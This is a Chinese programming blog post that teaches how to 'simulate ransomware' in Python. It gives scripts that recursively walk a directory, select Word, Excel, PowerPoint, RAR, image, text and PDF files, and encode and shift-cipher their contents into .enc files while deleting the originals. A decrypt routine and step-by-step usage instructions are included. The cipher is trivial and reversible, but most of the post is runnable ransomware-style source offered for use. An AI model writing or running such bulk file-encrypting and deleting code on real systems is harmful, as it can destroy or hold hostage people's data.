3.python模拟勒索病毒

Python模拟勒索病毒

一、关于勒索病毒

1、将电脑上的一些重要文件,比如Word,RAR,图片,文本,PDF等一些重要数据进行加密,将文件以二进制的方式进行加密处理,导致无法成功打开加密过后的文件,要打开必须要解密,要解密必须要解密程序。

2、如何传播:要么就是利用系统或应用程序的漏洞,要么就是人为的疏忽,导致下载了后门或木马程序。

3、如何处理:交钱,想办法破解,数据备份。

二、Python如何模拟

1、如何使用Python对文件进行加密?

所有的文件都可以使用Base64进行编码,而Base64是标准的字符串,针对这些字符串进行加密,再保存,此时,将无法打开此文件。如果解密,将加密后的文件,按字符串进行解密,并重新保存为二进制文件。

python 复制代码
import base64
import os


# 针对某个文件进行Base64编码,并加密
def encrypt(filepath):
    # 读取文件
    with open(filepath,mode='rb') as file:
        data = file.read()

    # 编码文件
    content = base64.b64encode(data).decode()
    # print(content)

    # 加密算法:大小写字母右移5位
    dest = ''
    for i in content:
        dest += chr(ord(i) + 5)
    # print(dest)

    # 将加密后的内容写入文件,并且重命名
    with open(filepath + '.enc',mode='w') as file:
        file.write(dest)

    # 删除源文件
    os.remove(filepath)

# 解密
def decrypt(filepath):
    # 读取文件
    with open(filepath,mode='r') as file:
        content = file.read()

    # 执行解密算法逻辑
    dest = ''
    for i in content:
        dest += chr(ord(i) - 5)
    # print(dest)

    # 还原原来的文件名
    newfile = filepath.replace('.enc','')

    # 写入文件
    with open(newfile,mode='wb') as f:
        f.write(base64.b64decode(dest))
    # 删除加密文件
    os.remove(filepath)

if __name__ == '__main__':
    # encrypt('img.png')
    decrypt('img.png.enc')

完善后的完整代码(逐行注释)

python 复制代码
# 导入base64模块,用于文件内容的Base64编解码
import base64
# 导入os模块,用于目录遍历、文件路径处理和文件删除
import os

# 定义需要加密的文件后缀(统一转小写,避免大小写匹配问题)
# 包含需求中的WORD(兼容doc/docx)、XLS/XLSX、PPT/PPTX、RAR、JPG、PNG、TXT、PDF
TARGET_EXTENSIONS = {'.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.rar', '.jpg', '.png', '.txt', '.pdf'}

# 加密核心函数:仅加密Base64字符串的middle[200:500]部分
# 参数filepath:待加密文件的完整路径
def encrypt(filepath):
    # 异常处理:捕获文件读取/写入过程中的错误(如文件不存在、权限不足)
    try:
        # 以二进制只读模式打开文件(兼容所有文件类型,如图片/压缩包)
        with open(filepath, mode='rb') as file:
            # 读取文件全部内容到内存
            data = file.read()

        # 将二进制文件内容编码为Base64字符串,并解码为普通字符串(便于切片和字符操作)
        content = base64.b64encode(data).decode('utf-8')

        # 分割Base64字符串为三部分,处理边界情况(如字符串长度不足200/500)
        # first部分:从开头到200位(若长度不足200,则取全部)
        first_part = content[:200]
        # middle部分:200位到500位(若长度不足500,取剩余部分;若不足200,则为空)
        middle_part = content[200:500]
        # last部分:从500位到末尾(若长度不足500,则为空)
        last_part = content[500:]

        # 加密算法:仅对middle部分的字符执行"右移5位"(ASCII码+5)
        encrypted_middle = ''
        # 遍历middle部分的每个字符
        for char in middle_part:
            # 将字符转换为ASCII码,加5后再转回字符,拼接到加密结果
            encrypted_middle += chr(ord(char) + 5)

        # 拼接最终加密后的字符串:原first + 加密middle + 原last
        final_encrypted = first_part + encrypted_middle + last_part

        # 以文本写入模式创建加密文件(后缀.enc)
        with open(filepath + '.enc', mode='w', encoding='utf-8') as file:
            # 将加密后的字符串写入文件
            file.write(final_encrypted)

        # 删除原始文件(可选:若需保留源文件可注释此行)
        os.remove(filepath)
        # 打印加密成功提示
        print(f"文件加密成功:{filepath} -> {filepath}.enc")
    
    # 捕获文件操作相关异常(如文件不存在、权限错误)
    except FileNotFoundError:
        print(f"错误:文件不存在 -> {filepath}")
    # 捕获权限不足异常
    except PermissionError:
        print(f"错误:无权限操作文件 -> {filepath}")
    # 捕获其他未知异常
    except Exception as e:
        print(f"加密失败 {filepath}:{str(e)}")

# 解密核心函数:还原加密的middle[200:500]部分
# 参数filepath:加密文件的完整路径(后缀.enc)
def decrypt(filepath):
    # 异常处理:确保解密过程稳定
    try:
        # 校验文件是否为加密文件(后缀是否为.enc)
        if not filepath.endswith('.enc'):
            print(f"错误:{filepath} 不是加密文件(后缀非.enc)")
            return

        # 以文本只读模式打开加密文件
        with open(filepath, mode='r', encoding='utf-8') as file:
            # 读取加密后的全部内容
            encrypted_content = file.read()

        # 分割加密字符串为三部分(与加密时的切片规则一致)
        first_part = encrypted_content[:200]
        encrypted_middle = encrypted_content[200:500]
        last_part = encrypted_content[500:]

        # 解密算法:仅对加密的middle部分执行"左移5位"(ASCII码-5)
        decrypted_middle = ''
        # 遍历加密后的middle字符
        for char in encrypted_middle:
            # ASCII码减5,还原原始字符
            decrypted_middle += chr(ord(char) - 5)

        # 拼接解密后的完整Base64字符串:原first + 解密middle + 原last
        final_decrypted = first_part + decrypted_middle + last_part

        # 还原原始文件名(去掉.enc后缀)
        original_filepath = filepath.replace('.enc', '')

        # 以二进制写入模式创建原始文件
        with open(original_filepath, mode='wb') as file:
            # 将解密后的Base64字符串解码为二进制,写入文件(还原原始内容)
            file.write(base64.b64decode(final_decrypted))

        # 删除加密文件(可选:若需保留加密文件可注释此行)
        os.remove(filepath)
        # 打印解密成功提示
        print(f"文件解密成功:{filepath} -> {original_filepath}")
    
    except FileNotFoundError:
        print(f"错误:加密文件不存在 -> {filepath}")
    except PermissionError:
        print(f"错误:无权限操作文件 -> {filepath}")
    except base64.binascii.Error:
        print(f"错误:{filepath} 不是有效的Base64加密文件(内容已损坏)")
    except Exception as e:
        print(f"解密失败 {filepath}:{str(e)}")

# 目录遍历函数:遍历指定目录下的所有文件,筛选目标类型并执行加密/解密
# 参数root_dir:根目录路径;operation:操作类型('encrypt' 加密 / 'decrypt' 解密)
def traverse_directory(root_dir, operation):
    # 异常处理:校验目录是否存在
    if not os.path.isdir(root_dir):
        print(f"错误:目录不存在 -> {root_dir}")
        return

    # 遍历目录(递归遍历子目录):root=当前目录, dirs=子目录列表, files=文件列表
    for root, dirs, files in os.walk(root_dir):
        # 遍历当前目录下的所有文件
        for file_name in files:
            # 拼接文件完整路径
            file_path = os.path.join(root, file_name)
            # 获取文件后缀(转小写,避免大小写匹配问题,如.PNG/.png)
            file_ext = os.path.splitext(file_name)[1].lower()

            # 加密操作:筛选目标后缀的文件
            if operation == 'encrypt' and file_ext in TARGET_EXTENSIONS:
                encrypt(file_path)
            # 解密操作:仅处理.enc后缀的文件(无需筛选原后缀)
            elif operation == 'decrypt' and file_name.endswith('.enc'):
                decrypt(file_path)

# 主程序入口
if __name__ == '__main__':
    # ************************** 配置区 **************************
    # 待处理的根目录(修改为你自己的目录路径,如Windows:r'C:\test',Linux/Mac:'/home/test')
    TARGET_DIR = r'./test_files'  # 相对路径:当前目录下的test_files文件夹
    # 操作类型:'encrypt'(加密) / 'decrypt'(解密)
    OPERATION_TYPE = 'encrypt'  # 先加密,再改为'decrypt'解密
    # ***********************************************************

    # 执行目录遍历和文件处理
    traverse_directory(TARGET_DIR, OPERATION_TYPE)

关键逻辑说明

  1. 文件筛选 :通过 TARGET_EXTENSIONS 集合定义需要加密的文件类型,统一转小写避免大小写匹配问题(如 .Doc/.DOCX 都能匹配)。

  2. 部分加密规则

    • first_part = content[:200]:Base64 字符串前 200 位,不加密;
    • middle_part = content[200:500]:200-500 位,执行 ASCII+5 加密;
    • last_part = content[500:]:500 位之后的部分,不加密;
    • 解密时仅对 200-500 位执行 ASCII-5 还原,其余部分保持原样。
  3. 递归遍历 :通过 os.walk() 递归遍历指定目录下的所有子目录和文件,自动筛选目标文件处理。

  4. 异常处理:添加了文件不存在、权限不足、Base64 解码错误等异常捕获,避免程序崩溃。

使用说明

  1. 先创建测试目录(如 ./test_files),放入需要加密的文件(如 test.docxdemo.png 等);
  2. 修改 TARGET_DIR 为你的目标目录路径(Windows 路径需加 r 前缀,如 r'C:\my_files');
  3. 先设置 OPERATION_TYPE = 'encrypt' 执行加密,加密后的文件后缀为 .enc
  4. 再设置 OPERATION_TYPE = 'decrypt' 执行解密,会还原为原始文件并删除 .enc 文件。

总结

  1. 核心逻辑:仅对 Base64 字符串的 200-500 位执行 ASCII±5 加密 / 解密,其余部分保持原样;
  2. 功能扩展:实现了目录递归遍历、目标文件筛选、完善的异常处理;
  3. 易用性:通过配置区修改目录和操作类型,无需改动核心代码,适合新手使用。
相关推荐
jhf20202 小时前
2026汽车4S店GEO优化高性价比公司选型指南:从效果、成本到适配
python·汽车
不凉帅2 小时前
NO.4信息安全技术基础知识
网络安全·信息安全·软考·高项·加密
叫我:松哥2 小时前
基于scrapy的网易云音乐数据采集与分析设计实现
python·信息可视化·数据分析·beautifulsoup·numpy·pandas
极智-9962 小时前
GitHub 热榜项目-日榜精选(2026-01-24)| AI智能体工具、Python生态等 | remotion、VibeVoice、goose等
人工智能·python·github·ai智能体·大模型部署·语音ai
YMLT花岗岩3 小时前
Python学习之-函数-入门训练-具有多个返回值的函数
python·学习
北鹤M3 小时前
用MeteoStat计算任意时刻经纬度真实气象数据
人工智能·python
星瞳科技OpenMV3 小时前
星瞳OpenMV官方机械臂教程|从零开始:Robot Arm机械臂快速上手
arm开发·图像处理·python·计算机视觉·ai·机器人·openmv
写代码的【黑咖啡】3 小时前
Python中的lxml:高效XML处理库
xml·开发语言·python
人工智能AI技术3 小时前
【Agent从入门到实践】29 开发第一个Agent——需求定义
人工智能·python